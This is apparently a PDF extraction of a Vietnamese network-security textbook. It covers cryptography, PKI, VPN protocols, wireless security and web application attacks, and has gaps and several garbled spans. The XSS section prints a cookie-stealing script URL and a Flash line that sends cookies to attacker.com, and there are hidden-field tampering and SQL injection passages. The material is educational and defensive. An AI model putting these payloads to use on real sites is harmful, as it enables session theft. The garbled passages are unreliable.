Ví dụ: Chính sách về phòng chống thảm họa sẽ bao gồm việc backup hệ
thống (backup theo kiểu gì, backup thường xuyên thế nào, backup cái
gì…), xác định những đối tượng tham gia xử lý khi có sự cố xảy ra, việc
xây dựng kỹ năng cho những người tham gia xử lý sự cố…
Chính sách sử dụng phần mềm (Software Security)
o Chính sách sử dụng phần mềm quy định những phần mềm nào được sử
dụng trên máy chủ, máy trạm và các thiết bị mạng khác. Chính sách cũng
xác định rõ người được phép mua và cài đặt phần mềm trên các máy.
Như đã đề cập ở trên, mỗi tổ chức có những yêu cầu và điều kiện khác nhau nên
chính sách an ninh mạng cũng khác nhau. Tuy nhiên, khi xây dựng một chính sách
an ninh mạng, những người có trách nhiệm nên tham khảo các chính sách an ninh
mạng mẫu (template) để có sự quy chuẩn.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
84
P (Plaintext) là tập hợp hữu hạn các bản rõ có thể.
C (Ciphertext) là tập hợp hữu hạn các bản mã có thể.
K (Key) là tập hợp các bản khoá có thể.
E (Encrytion) là tập hợp các qui tắc mã hoá có thể.
D (Decrytion) là tập hợp các qui tắc giải mã có thể.
Chúng ta đã biết một thông báo thường được tổ chức dưới dạng bản rõ. Người gửi
sẽ làm nhiệm vụ mã hoá bản rõ, kết quả thu được gọi là bản mã. Bản mã này được
gửi đi trên một đường truyền tới người nhận sau khi nhận được bản mã người nhận
giải mã nó để tìm hiểu nội dung.
Dễ dàng thấy được công việc trên khi sử dụng định nghĩa hệ mật mã :
EK( P) = C và DK( C ) = P
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
85
CHƯƠNG 2. CÁC THUẬT TOÁN MÃ HÓA
1. Khái niệm
- Một thuật toán mã hóa là một quy tắc, một hệ thống hoặc là một cơ chế được sử
dụng để mã hóa thông tin.
- Độ an toàn của thuật toán: Nguyên tắc đầu tiên trong mã hoá là “Thuật toán nào
cũng có thể bị phá vỡ”. Các thuật toán khác nhau cung cấp mức độ an toàn khác
nhau, phụ thuộc vào độ phức tạp để phá vỡ chúng. Tại một thời điểm, độ an toàn
của một thuật toán phụ thuộc:
+ Nếu chi phí hay phí tổn cần thiết để phá vỡ một thuật toán lớn hơn giá trị
của thông tin đã mã hóa thuật toán thì thuật toán đó tạm thời được coi là an toàn.
+ Nếu thời gian cần thiết dung để phá vỡ một thuật toán là quá lâu thì thuật
toán đó tạm thời được coi là an toàn.
+ Nếu lượng dữ liệu cần thiết để phá vỡ một thuật toán quá lơn so với lượng
dữ liệu đã được mã hoá thì thuật toán đó tạm thời được coi là an toàn
Từ tạm thời ở đây có nghĩa là độ an toàn của thuật toán đó chỉ đúng trong một thời
điểm nhất định nào đó, luôn luôn có khả năng cho phép những người phá mã tìm ra
cách để phá vỡ thuật toán. Điều này chỉ phụ thuộc vào thời gian, công sức, lòng
đam mê cũng như tính kiên trì bên bỉ. Càng ngày tốc độ xử lý của CPU càng cao,
tốc độ tính toán của máy tính ngày càng nhanh, cho nên không ai dám khẳng định
chắc chắn một điều rằng thuật toán mà mình xây dựng sẽ an toàn mãi mãi.
Khóa : Đặc biệt, độ an toàn của thuật toán mã hóa còn phụ thuộc vào độ dài của
khóa. Một khóa mã hóa là một phần thông tin đặc biệt được kết hợp với một thuật
toán để thi hành mã hóa và giải mã. Sử dụng khóa càng phức tạp, mã hóa càng
mạnh.
+ Ví dụ: Xét phương pháp mã hóa sau: “thay thế mỗi ký tự xuất hiện trong xâu
bằng ký tự đứng sau nó 3 ký tự theo bảng chữ cái alphabet”. Ở đây thuật toán là
chuyển dịch ký tự, và khóa là 3 ký tự về phía sau.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
86
2. Phân loại các thuật toán mã hoá
Có rất nhiều các thuật toán mã hoá khác nhau. Từ những thuật toán được công khai
để mọi người cung sử dụng và áp dụng như là một chuẩn chung cho việc mã hoá
dữ liệu; đến những thuật toán mã hoá không được công bố. Có thể phân loại các
thuật toán mã hoá như sau:
Mã hoá cổ điển (Classical cryptography)
Mã hoá đối xứng (Symetric cryptography)
Mã hoá bất đối xứng(Asymetric cryptography)
Hàm băm (Hash function)
2.1. Mã hóa cổ điển
Xuất hiện trong lịch sử, các phương pháp này không dung khoá. Thuật toán đơn
giản và dễ hiểu. Những từ chính các phương pháp mã hoá này đã giúp chúng ta
tiếp cận với các thuật toán mã hoá đối xứng được sử dụng ngày nay. Trong mã hoá
cổ điển có 02 phương pháp nổi bật đó là:
- Mã hoá thay thế (Substitution Cipher):
Là phương pháp mà từng kí tự (hay từng nhóm kí tự) trong bản rõ (Plaintext) được
thay thế bằng một kí tự (hay một nhóm kí tự) khác để tạo ra bản mờ (Ciphertext).
Bên nhận chỉ cần đảo ngược trình tự thay thế trên Ciphertext để có được Plaintext
ban đầu.
- Mã hoá hoán vị (Transposition Cipher):
Bên cạnh phương pháp mã hoá thay thế thì trong mã hoá cổ điển có một phương
pháp khác nữa cũng nổi tiếng không kém, đó chính là mã hoá hoán vị. Nếu như
trong phương pháp mã hoá thay thế, các kí tự trong Plaintext được thay thế hoàn
toàn bằng các kí tự trong Ciphertext, thì trong phương pháp mã hoá hoán vị, các kí
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
90
- Hệ mã hoá đối xứng không bảo vệ được sự an toàn nếu có xác suất cao khoá
người gửi bị lộ. Trong hệ khoá phải được gửi đi trên kênh an toàn nếu ke địch tấn
công trên kênh này có thể phát hiện ra khoá.
- Vấn đề quản lý và phân phối khoá là khó khăn và phức tạp khi sử dụng hệ mã hoá
cổ điển. Người gửi và người nhận luôn luôn thông nhất với nhau về vấn đề khoá.
Việc thay đổi khoá là rất khó và dễ bị lộ.
- Khuynh hướng cung cấp khoá dài mà nó phải được thay đổi thường xuyên cho
mọi người trong khi vẫn duy trì cả tính an toàn lẫn hiệu quả chi phí sẽ cản trở rất
nhiều tới việc phát triển hệ mật mã đối xứng.
2.3. Mã hóa bất đối xứng
Vào những năm 1970 Diffie và Hellman đã phát minh ra một hệ mã hoá mới được
gọi là hệ mã hoá công khai hay hệ mã hoá phi đối xứng.
Thuật toán mã hoá công khai là khác biệt so với thuật toán đối xứng. Chúng được
thiết kế sao cho khoá sử dụng vào việc mã hoá là khác so với khoá giải mã. Hơn
nữa khoá giải mã không thể tính toán được từ khoá mã hoá. Chúng được gọi với
tên hệ thống mã hoá công khai bởi vì khoá để mã hoá có thể công khai, một người
bất kỳ có thể sử dụng khoá công khai để mã hoá thông báo, nhưng chỉ một vài
người có đúng khoá giải mã thì mới có khả năng giải mã. Trong nhiều hệ thống,
khoá mã hoá gọi là khoá công khai (public key), khoá giải mã thường được gọi là
khoá riêng (private key).
Mã hoá và giải mã với hai khoá
Trong hình vẽ trên thì :
Mã hoá Giải mã Bản rõ Bản
mã
Bản rõ gốc
K1 K2
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
91
K1 không thể trung K2, hoặc
K2 không thể tính toán từ K1.
Đặc trưng nổi bật của hệ mã hoá công khai là cả khoá công khai(public key) và bản
tin mã hoá (ciphertext) đều có thể gửi đi trên một kênh thông tin không an toàn.
Diffie và Hellman đã xác đinh rõ các điều kiện của một hệ mã hoá công khai
như sau :
1. Việc tính toán ra cặp khoá công khai KB và bí mật kB dựa trên cơ sở các
điều kiện ban đầu phải được thực hiện một cách dễ dàng, nghĩa là thực
hiện trong thời gian đa thức.
2. Người gửi A có được khoá công khai của người nhận B và có bản tin P
cần gửi đi thì có thể dễ dàng tạo ra được bản mã C.
C = EKB (P)
3. Người nhận B khi nhận được bản tin mã hóa C với khoá bí mật kB của
mình thì có thể giải mã bản tin.
P = DkB (C)
4. Nếu ke địch biết khoá công khai KB cố gắng tính toán khoá bí mật kB thì
khi đó chúng phải đương đầu với trường hợp nan giải, trường hợp này
đòi hỏi nhiều yêu cầu không khả thi về thời gian.
5. Nếu ke địch biết được cặp (KB,C) và cố gắng tính toán ra bản rõ P thì giải
quyết bài toán khó với số phép thử là vô cung lớn, do đó không khả thi.
Một số thuật toán nổi tiếng trong mã hoá bất đối xứng:
- Rivest Shamir Adelman (RSA): Được đặt theo tên của người thiết kế là Ronald
Rivest, Adi Shamir, và Len Adelman. RSA là thuật toán thành công đầu tiên sử
dụng thuật toán mã hóa khóa công khai. Nó có độ dài khóa khác nhau cũng như
các kích cỡ khối khác nhau. RSA được coi là thuật toán có độ bảo mật cao khi
dung với các khóa có độ dài lớn.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
92
- Diffie-Hellman: Là một giao thức mã hóa cung cấp khóa chuyển đổi an toàn.
Được mô tả vào năm 1976 và hình thành dựa trên nền tảng của kỹ thuật mã hóa
khóa công khai phổ biến bao gồm cả RSA.
- Elgamal: Là một thuật toán mã hóa khóa công khai được phát triển bởi Taher
Elgamal. Nó cũng dựa trên nền tảng của Diffie-Hellman.
- Paillier Cryptosystem: Là thuật toán mã hóa khóa công khai được phát triển bởi
Pascal Paillier.
2.4. Mã hóa hàm băm (Hash Function)
Trong ngành mật mã học, một hàm băm mật mã học (Cryptographic hash function)
là một hàm băm với một số tính chất bảo mật nhất định để phu hợp việc sử dụng
trong nhiều ứng dụng bảo mật thông tin đa dạng, chẳng hạn như chứng thực
(authentication) và kiểm tra tính nguyên vẹn của thông điệp (message integrity).
Một hàm băm nhận đầu vào là một xâu ký tự dài (hay thông điệp) có độ dài tuy ý
và tạo ra kết quả là một xâu ký tự có độ dài cố định, đôi khi được gọi là tóm tắt
thông điệp (message digest) hoặc chữ ký số (digital fingerprint).
Thuật toán băm một chiều (hash) cho giá trị kết quả đầu ra có kích thước không
đổi theo đầu vào trên nguyên tắc:
- Giá trị đầu ra là không đổi khi giữ nguyên vẹn giá trị đầu vào cho du thuật toán
được thực hiện vào bất cứ thời điểm nào.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
93
- Sử dụng hàm băm một chiều, không thể tính toán ngược từ giá trị đầu ra để biết
được giá trị đầu vào.
- Không thể tính toán hai đầu vào khác nhau để có cung một giá trị hash khi thực
hiện cung một thuật toán băm.
Trong nhiều chuẩn và ứng dụng, hai hàm băm thông dụng nhất là MD5 và
SHA-1:
- MD5: Thuật toán MD5 tạo thành một dạng thông điệp được mã hóa với 128-bit,
được phát triển bởi Ronald Rivest và hiện đang là công nghệ được sử dụng rộng
rãi.
- SHA-1: Thuật toán SHA-1 được phát triển dựa trên MD5 nhưng với độ an toàn
cao hơn rất nhiều. SHA-1 tạo giá trị hash với 160-bit trong khi đó SHA-256, SHA-
384, SHA-512 tạo các giá trị hash tương ứng là 256, 384, 512-bit.
Một số ứng dụng của hàm hash:
• Chống và phát hiện xâm nhập: chương trình chống xâm nhập so sánh giá trị hash
của một file với giá trị trước đó để kiểm tra xem file đó có bị ai đó thay đổi hay
không.
• Bảo vệ tính toàn vẹn của thông điệp được gửi qua mạng bằng cách kiểm tra giá
trị hash của thông điệp trước và sau khi gửi nhằm phát hiện những thay đổi cho du
là nhỏ nhất.
• Tạo chìa khóa từ mật khẩu.
• Tạo chữ ký điện tử.
2.5. Chữ ký điện tử
�f���S�K�/�Q���W�U�r�Q�����F�K�~�Q�J���W�D���ÿ�m���Q�K�7�F���Q�K�L�I�X���ÿ�G�Q���F�K�w���N�ê���ÿ�L�O�Q���W�u�����9�5�\���F�K�w���N�ê���ÿ�L�O�Q���W�u���O�j���J�u�"���7�)�L���V�D�R���Q�y���O�)�L���T�X�D�Q���W�U�U�Q�J���Q�K�ñ���Y�5�\�"
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
96
Tóm lại, cung với chứng thực điện tử, công nghệ mã hóa, chữ ký điện tử là
một thành phần không thể thiếu của thanh toán và thương mại điện tử trong những
năm tới.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
98
doanh nghiệp (chuyên cung cấp dịch vụ trong lĩnh vực này). Các CA có thể uỷ
nhiệm sự tin cậy cho nhau thông qua kiến trúc phân cấp. CA gốc (root CA) là CA
cung cấp trực tiếp các giấy chứng nhận điện tử cho doanh nghiệp, CA phụ thuộc
(subordinate CA) là CA được công nhận gián tiếp thông qua mối liên hệ với CA
gốc. CA gốc có thể mặc nhiên được công nhận (đối với nội bộ doanh nghiệp). Các
CA phụ thuộc được công nhận thông qua chứng nhận của CA gốc và tạo nên chuỗi
các CA uỷ thác.
Mỗi khi tạo ra một giấy chứng nhận điện tử mới, một cặp khoá mã được phát ra
cho mỗi thực thể (PKI Client) - thiết bị VPN, máy chủ Web, người sử dụng thư
điện tử ... Những thực thể sẽ giữ các khoá riêng (private key) dung để tạo ra chữ ký
điện tử. Còn khoá công khai (public key), tên của thực thể, tên của CA phát hành,
tất cả sẽ được tập hợp trong giấy chứng nhận điện tử, và tất cả sẽ được xác nhận
thông qua chữ ký điện tử của chính CA.
Với mục đích tránh sự không công nhận của mỗi thực thể, chỉ có chính bản thân họ
mới được sử dụng đến khoá bảo mật riêng. Với cách làm như vậy, các thực thể
không thể phủ nhận được việc đã "ký" tên vào thông điệp vì không ai khác có thể
"ký" như vậy được. Cũng chính vì nguyên nhân như vậy, mã khoá riêng này cần
được lưu giữ an toàn. Khi mã khoá này bị lộ vì một nguyên nhân nào đó, giấy
chứng nhận điện tử cần phải được thu hồi.
Hình minh họa mô hình hoạt động của PKI
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
99
Chức nǎng quản lý được giao cho RA - Thành phần cấp quyền đǎng nhập
(Registration Authorities). RA có nhiệm vụ quản trị việc đǎng ký tên, khởi tạo
hoặc lưu trữ các cặp khoá mã, xác nhận các thực thể trong giai đoạn đǎng ký, yêu
cầu CA cấp chứng nhận, chuyển các khoá mã đến các thực thể, khởi tạo hoặc thu
hồi các giấy chứng nhận điện tử. RA là một cơ chế hỗ trợ CA rất hiệu quả, và cũng
như trường hợp trên, do yêu cầu bảo mật, RA và CA thường cũng được phân cách
nhau cả về mặt vật lý và do các nhóm quản trị mạng khác nhau chịu trách nhiệm.
Chứng chỉ số là một tệp tin điện tử dung để xác minh danh tính một cá nhân, một
máy chủ, một công ty... trên Internet. Nó giống như bằng lái xe, hộ chiếu, chứng
minh thư hay những giấy tờ xác minh cá nhân.
Để có chứng minh thư, bạn phải được cơ quan Công An sở tại cấp. Chứng chỉ số
cũng vậy, phải do một tổ chức đứng ra chứng nhận những thông tin của bạn là
chính xác, được gọi là Nhà cung cấp chứng thực số (Certificate Authority, viết tắt
là CA). CA phải đảm bảo về độ tin cậy, chịu trách nhiệm về độ chính xác của
chứng chỉ số mà mình cấp.
Trong chứng chỉ số có ba thành phần chính:
* Thông tin cá nhân của người được cấp
* Khoá công khai (Public key) của người được cấp
* Chữ ký số của CA cấp chứng chỉ
A. Thông tin cá nhân
Đây là các thông tin của đối tượng được cấp chứng chỉ số, gồm tên, quốc tịch, địa
chỉ, điện thoại, email, tên tổ chức .v.v. Phần này giống như các thông tin trên
chứng minh thư của mỗi người.
B. Khoá công khai
Trong khái niệm mật mã, khoá công khai là một giá trị được nhà cung cấp chứng
thực đưa ra như một khoá mã hoá, kết hợp cung với một khoá cá nhân duy nhất
được tạo ra từ khoá công khai để tạo thành cặp mã khoá bất đối xứng.
Nguyên lý hoạt động của khoá công khai trong chứng chỉ số là hai bên giao dịch
phải biết khoá công khai của nhau. Bên A muốn gửi cho bên B thì phải dung khoá
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
103
gồm hai hay nhiều người” nghĩa là cần ít nhất hai người hoàn thành protocol, một
người không thể tạo ra được một Protocol. Và chắc chắn rằng một người có thể
thực hiện một loạt các bước để hoàn thành nhiệm vụ, nhưng đó không phải là
Protocol. Cuối cung “thiết kế để hoàn thành nhiệm vụ” nghĩa là mỗi Protocol phải
làm một vài điều gì đó.
Giao thức mã hóa là giao thức sử dụng cho hệ thống mã hóa, nó bao gồm các thuật
toán mã hóa.
2.2. Các giao thức mã hóa phổ biến
2.2.1. Giao thức mã hóa lớp 2 mô hình OSI
Layer 2 Forwarding: L2F là giao thức được phát triển bởi Cisco System
cung lúc với sự phát triển PPTP của Microsoft. Đây là một giao thức cho
phép các máy khách ở xa có thể truy cập đến mạng Intranet của một tổ chức
thông qua cơ sở hạ tầng mạng công cộng với tính bảo mật cao và khả năng
quản lý chặt chẽ. Bởi vì là một giao thức lớp 2, L2F có thể được dung cho
các giao thức khác ngoài IP như IPX, NetBEUI. L2F mã hóa bằng thuật
toán DES (56-bit) và cả IPSEC với các IOS đời mới.
Point to Point Tunneling Protocol: PPTP là giao thức được phát triển bới
Microsoft. PPTP thường được dung cho các kết nối VPN, nó hoạt động ở
lớp 2 mô hình OSI. PPTP sử dụng MPPE (Microsoft Point-to-Point
Encryption) cho việc mã hóa các đường kết nối PPP (thực chất là sử dụng
thuật toán mã hóa RC 4 với độ dài khóa là 40 hoặc 128-bit.
Layer 2 Tunneling Protocol (L2TP): L2TP là sự kết hợp của PPTP và L2F.
Giao thức này so với PPTP có nhiều đặc tính an toàn hơn. Trong khi PPTP
dung MPPE cho việc mã hóa, L2TP lại dựa vào một giải pháp bảo mật hơn,
đó là các gói tin L2TP được bảo vệ bởi IPSEC. Đây là việc kết hợp các ưu
điểm bảo mật của IPSEC và các lợi ích của các giao thức chứng thực người
dung của PPTP đó là LTLM, PAP, CHAP.... L2TP/IPsec được coi là giao
thức dung trong VPN phổ biến nhất hiện nay.
2.2.2. Giao thức mã hóa lớp 3 : IPSEC
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
104
IPSEC mã hóa dữ liệu ở lớp 3, cung cấp 1 giải pháp bảo mật kết nối một
cách toàn diện, qua đó cung cấp cơ chế xác thực dữ liệu, tính toàn vẹn, bí
mật của dữ liệu … IPSec là một trong những công nghệ VPN phổ biến, được
dung nhiều trong hệ thống mạng của các doanh nghiệp, các nhà cung cấp
dịch vụ và cả hệ thống mạng của các tổ chức chính phủ.
Trong quá trình mã hóa và chứng thực dữ liệu, IPSec sử dụng một trong hai,
hoặc cả hai giao thức sau để bảo vệ mật thông tin:
- Authentication Header (AH): Header của gói tin được mã hóa và bảo vệ
phòng chống các trường hợp IP Spoofing (sự giả mạo IP) hay MITM. Tuy
nhiên, trong trường hợp này, chỉ có phần header của gói tin được bảo vệ còn
phần nội dung thông tin thì không.
- Encapsulation Security Payload (ESP): Nội dung thông tin sẽ được mã
hóa, đảm bảo tính bí mật của dữ liệu.
Cả 2 giao thức trên đều sử dụng kỹ thuật mã hóa đối xứng.
IPSec cung cấp cơ chế mã hóa 56-bit (DES) và 128-bit (3-DES) và mới nhất
là 256-bit (AES).
2.2.3. Giao thức mã hóa lớp 4 : SSL/TLS
a. Khái niệm
Được phát triển bởi Netscape, ngày nay giao thức Secure Socket Layer (SSL) đã
được sử dụng rộng rãi trên World Wide Web trong việc xác thực và mã hoá thông
tin giữa client và server. Tổ chức IETF (Internet Engineering Task Force ) đã
chuẩn hoá SSL và đặt lại tên là TLS (Transport Layer Security). Mặc du là có sự
thay đổi về tên nhưng TSL chỉ là một phiên bản mới của SSL. Phiên bản TSL 1.0
tương đương với phiên bản SSL 3.1. Tuy nhiên SSL là thuật ngữ được sử dụng
rộng rãi hơn.
SSL được thiết kế như là một giao thức riêng cho vấn đề bảo mật có thể hỗ trợ cho
rất nhiều ứng dụng. Giao thức SSL hoạt động bên trên TCP/IP và bên dưới các
giao thức ứng dụng tầng cao hơn như là HTTP (Hyper Text Transport Protocol),
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
105
IMAP ( Internet Messaging Access Protocol) và FTP (File Transport Protocol).
Trong khi SSL có thể sử dụng để hỗ trợ các giao dịch an toàn cho rất nhiều ứng
dụng khác nhau trên Internet, thì hiện nay SSL được sử dụng chính cho các giao
dịch trên Web.
SSL không phải là một giao thức đơn le, mà là một tập các thủ tục đã được chuẩn
hoá để thực hiện các nhiệm vụ bảo mật sau:
�;�i�F���W�K�y�F���V�H�U�Y�H�U�� Cho phép người sử dụng xác thực được server muốn kết nối. Lúc
này, phía browser sử dụng các kỹ thuật mã hoá công khai để chắc chắn rằng
certificate và public ID của server là có giá trị và được cấp phát bởi một CA
(certificate authority) trong danh sách các CA đáng tin cậy của client. Điều này rất
quan trọng đối với người dung. Ví dụ như khi gửi mã số credit card qua mạng thì
người dung thực sự muốn kiểm tra liệu server sẽ nhận thông tin này có đúng là
server mà họ định gửi đến không.
�;�i�F���W�K�y�F���&�O�L�H�Q�W�� Cho phép phía server xác thực được người sử dụng muốn kết nối.
Phía server cũng sử dụng các kỹ thuật mã hoá công khai để kiểm tra xem
certificate và public ID của server có giá trị hay không và được cấp phát bởi một
CA (certificate authority) trong danh sách các CA đáng tin cậy của server không.
Điều này rất quan trọng đối với các nhà cung cấp. Ví dụ như khi một ngân hàng
định gửi các thông tin tài chính mang tính bảo mật tới khách hàng thì họ rất muốn
kiểm tra định danh của người nhận.
�0�m�� �K�R�i�� �N�G�W�� �Q�Y�L�� Tất cả các thông tin trao đổi giữa client và server được mã hoá
trên đường truyền nhằm nâng cao khả năng bảo mật. Điều này rất quan trọng đối
với cả hai bên khi có các giao dịch mang tính riêng tư. Ngoài ra, tất cả các dữ liệu
được gửi đi trên một kết nối SSL đã được mã hoá còn được bảo vệ nhờ cơ chế tự
động phát hiện các xáo trộn, thay đổi trong dữ liệu. ( đó là các thuật toán băm –
hash algorithm).
Giao thức SSL bao gồm 2 giao thức con: giao thức SSL record và giao thức SSL
handshake. Giao thức SSL record xác định các định dạng dung để truyền dữ liệu.
Giao thức SSL handshake (gọi là giao thức bắt tay) sẽ sử dụng SSL record protocol
để trao đổi một số thông tin giữa server và client vào lấn đầu tiên thiết lập kết nối
SSL.
b. Các thuật toán mã hoá dùng trong SSL
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
110
CHƯƠNG 1: AN NINH TRONG TRUY CẬP TỪ XA
Như đã đề cập ở phần an ninh hạ tầng, một mô hình mạng cơ bản của tổ chức
thường có nhiều điểm kết nối (Network Access Points). Và cũng theo phần an ninh
hạ tầng, chúng ta phải xác định rõ nguy cơ đối với từng điểm kết nối để có giải
pháp bảo mật hợp lý. Trong chương an ninh truy cập từ xa này, chúng ta sẽ đề cập
đến những khái niệm liên quan đến truy cập từ xa như giao thức bảo mật mạng
không dây 802.1x, VPN, SSH, Radius,… Từng khái niệm sẽ được đề cập chi tiết ở
phần sau của chương.
1. 802.1x
802.1x là một giao thức được thiết kế để tăng cường bảo mật cho mạng không dây
WLAN. Khi một người dung muốn truy cập vào mạng không dây, 802.1x buộc họ
phải chứng thực với một thiết bị chứng thực tập trung gọi là Authenticator. 802.1x
sử dụng Extensible Authentication Protocol (EAP) để truyền thông tin giữa người
dung và Authenticator. Khi bắt đầu kết nối, Authenticator đặt người dung ở trạng
thái “unauthorized state” (chưa có quyền truy cập), khi đó, chỉ có gói tin EAP được
trao đổi để xác thực người dung. Người dung sẽ gửi các thông tin xác thực của
mình đến Authenticator, Authenticator chuyển tiếp các thông tin này tới máy chủ
xác thực (Authenticaton Server). Authentication server, là các máy chạy các dịch
vụ chứng thực (vd: RADIUS), sẽ chứng thực cho người dung. Nếu xác thực thành
công, người dung sẽ được đặt vào trạng thái “authorized state” và có thể truy cập
mạng WLAN. Hình sau đây minh họa quá trình chứng thực của một người dung
trong mạng WLAN.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
111
1.1. Những vấn đề an ninh của mạng không dây
Nhận thức của người dung:
– Kỹ thuật mới, hiện đại, ít người am hiểu tường tận.
– Quan điểm chủ quan.
– Cấu hình mặc định của các thiết bị thường ở chế độ mở hoàn toàn.
Các lỗ hổng bảo mật:
– WEP (wired equivalent protocol) không an toàn: Có thể bị be khóa trong
khoảng thời gian tính bằng phút đối với một máy tính thông thường.
– MAC filtering không hiệu quả vì MAC có thể bị thay đổi.
1.2. Các biện pháp bảo mật cho WLAN
Thay đổi ngay các giá trị mặc định của thiết bị trước khi đưa vào sử dụng.
Đặt AP ở vị trí hợp lý sao cho người dung có được tín hiệu tốt nhất và hạn
chế được tín hiệu ra bên ngoài.
Áp dụng tất cả các biện pháp bảo mật của thiết bị mà nhà sản xuất cung cấp.
Luôn cập nhật các phiên bản firmware mới nhất.
Sử dụng WPA thay cho WEP.
2. Virtual Private Network
Như đã trình bày đề cập chi tiết ở phần an ninh hạ tầng, VPN hiện được xem là
một trong những giải pháp truy cập từ xa an toàn với chi phí đầu tư thấp nhất hiện
nay.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
120
2. Hoạt động của một ứng dụng Web
Đầu tiên trình duyệt của người dung (IE, Firefox, Netscape Navigator…) sẽ gửi
một yêu cầu (Request) đến trình chủ thông qua các lệnh cơ bản như GET, POST…
của giao thức HTTP. Trình chủ sẽ truy cập máy chủ chứa cơ sở dữ liệu để thực
hiện nhiệm vụ được yêu cầu: cập nhật, truy vấn thông tin đang nằm trong cơ sở dữ
liệu. Sau đó ứng dụng Web gửi thông tin lại cho người dung qua trình duyệt.
Theo mô hình trên, với Firewall, luồng thông tin giữa trình chủ và trình duyệt
người dung là thông tin hợp lệ. Vì vậy, nếu tồn tại lỗ hổng trong ứng dụng Web thì
tường lửa không còn hữu dụng trong việc ngăn chặn tấn công. Cũng chính bởi lý
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
126
�«
���,�Q�S�X�W���W�\�S�H� �´�K�L�G�G�H�Q�´���Q�D�P�H� �´�J�L�D�F�D�´���Y�D�O�X�H� �´�����������´�!
�«
</form>
Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung:
POST /cuahang.asp HTTP/2.0
�«
Giaca=99.99
Nhưng nếu hacker gán một giá trị khác cho trường “giaca”:
<form action=http://www.attack.com/cuahang.asp �P�H�W�K�R�G� �´�3�2�6�7�´�!
�«
���,�Q�S�X�W�� �W�\�S�H� �´�K�L�G�G�H�Q�´�� �Q�D�P�H� �´�J�L�D�F�D�´��
�Y�D�O�X�H� �´������������������������������������������������������������������������ �������´�!
�«
</form>
Thì yêu cầu sẽ thay đổi:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
130
Ví dụ: hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt
những đoạn mã viết bằng ngôn ngữ phía client như VBScript, JavaScript… được
thực thi trên trình duyệt nạn nhân:
http://example.com/index.html?tw=<script>alert(document.cookie)</script>
Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn
nhân.
Hay hacker tấn công XSS thông qua file flash:
GetURL(“javascript:location(‘http://www.attacker.com?newcookie=’
+document.cookie)”)
Đây là một đoạn mã action script được hỗ trợ trong lập trình Flash. Khi Flash được
mở, cookies nạn nhân sẽ bị đánh cắp và truyền về cho hacker.
Trên đây chỉ là 2 ví dụ đơn giản về kiểu tấn công XSS, trên thực tế, Hacker có thể
triển khai rất nhiều cách tấn công XSS. Tuy nhiên, tác hại của XSS hoàn toàn có
thể giảm thiểu nếu người dung có ý thức cảnh giác tốt.
4.2.2. Cách phòng chống
Với những dữ liệu, thông tin đầu vào, người thiết kế ứng dụng web cần phải
thực hiện những bước cơ bản sau:
o Tạo ra danh sách the HTML được sử dụng.
o Xóa bỏ the <Script> nếu không dung đến.
o Lọc ra bất kỳ một đoạn mã JavaScript/VBScript/ActiveX nào.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
131
o Lọc dấu nháy đơn hay kép.
o Lọc ký tự Null.
Thực hiện kiểm tra lỗi XSS tự động bằng các phần mềm quét lỗi như N-
Stealth, Acunetix Web Vulnerability Scanner,…
Đối với người dung, cần nâng cao nhận thức và tinh thần cảnh giác về nguy
cơ bị tấn công XSS. Ngoài ra, có thể cấu hình trình duyệt để thông báo cho
người dung khi có một ngôn ngữ kịch bản nào đó yêu cầu được thực thi.
4.3. SQL Injection
4.3.1. SQL Injection
4.3.1.1. Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở
nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input
trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username
và password, remote execution, dump data và lấy root của SQL server. Công cụ
dung để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer,
Netscape, Lynx, ...
Nguyên nhân gây ra việc tấn công theo kiểu SQL Injection là:
- Kiểm tra, xác thực các giá trị đầu vào qua giao diện web có nhiều lỗ hổng
- Ứng dụng sử dụng những câu lệnh SQL động, không an toàn
- Ứng dụng có quá nhiều quyền kết nối đến database
4.3.1.2. Mục tiêu tấn công: Là các trang web cho phép submit dữ liệu ở bất kì một
trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...
4.3.1.3. Kiểm tra chỗ yếu của trang web: Thử submit các field username,
password hoặc field id, .. bằng chuỗi ký tự
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
136
Ví dụ: các đối tượng cần bảo vệ trong hệ thống có thể là: Các máy chủ dịch
vụ, các router, các điểm truy cập hệ thống, các chương trình ứng dụng, hệ
quản trị CSDL,…
- Người quản trị hệ thống phải cẩn trọng và chính xác trong việc cấu hình
trình chủ và một số ứng dụng. Không nên thiết lập cho ứng dụng chạy với
quyền cao nhất tránh trường hợp Hacker lợi dụng thực thi những câu lệnh
điều khiển hệ thống.
- Xác định nguy cơ đối với hệ thống chính là xác định các lỗ hổng bảo mật
của các dịch vụ, ứng dụng trên hệ thống đó. Việc xác định đúng đắn các
nguy cơ này giúp người quản trị có thể tránh được những cuộc tấn công
mạng, hoặc có biện pháp bảo vệ đúng đắn bằng cách thường xuyên cập nhật
các bản vá lỗi, nâng cấp ứng dụng…
- Phân quyền và kiểm soát chặt chẽ quyền hạn của từng tài khoản trong hệ
thống. Chỉ nên sử dụng quyền Root hoặc administrator khi thật sự cần thiết.
Những tài khoản không dung cần phải vô hiệu hóa…
- .v.v.
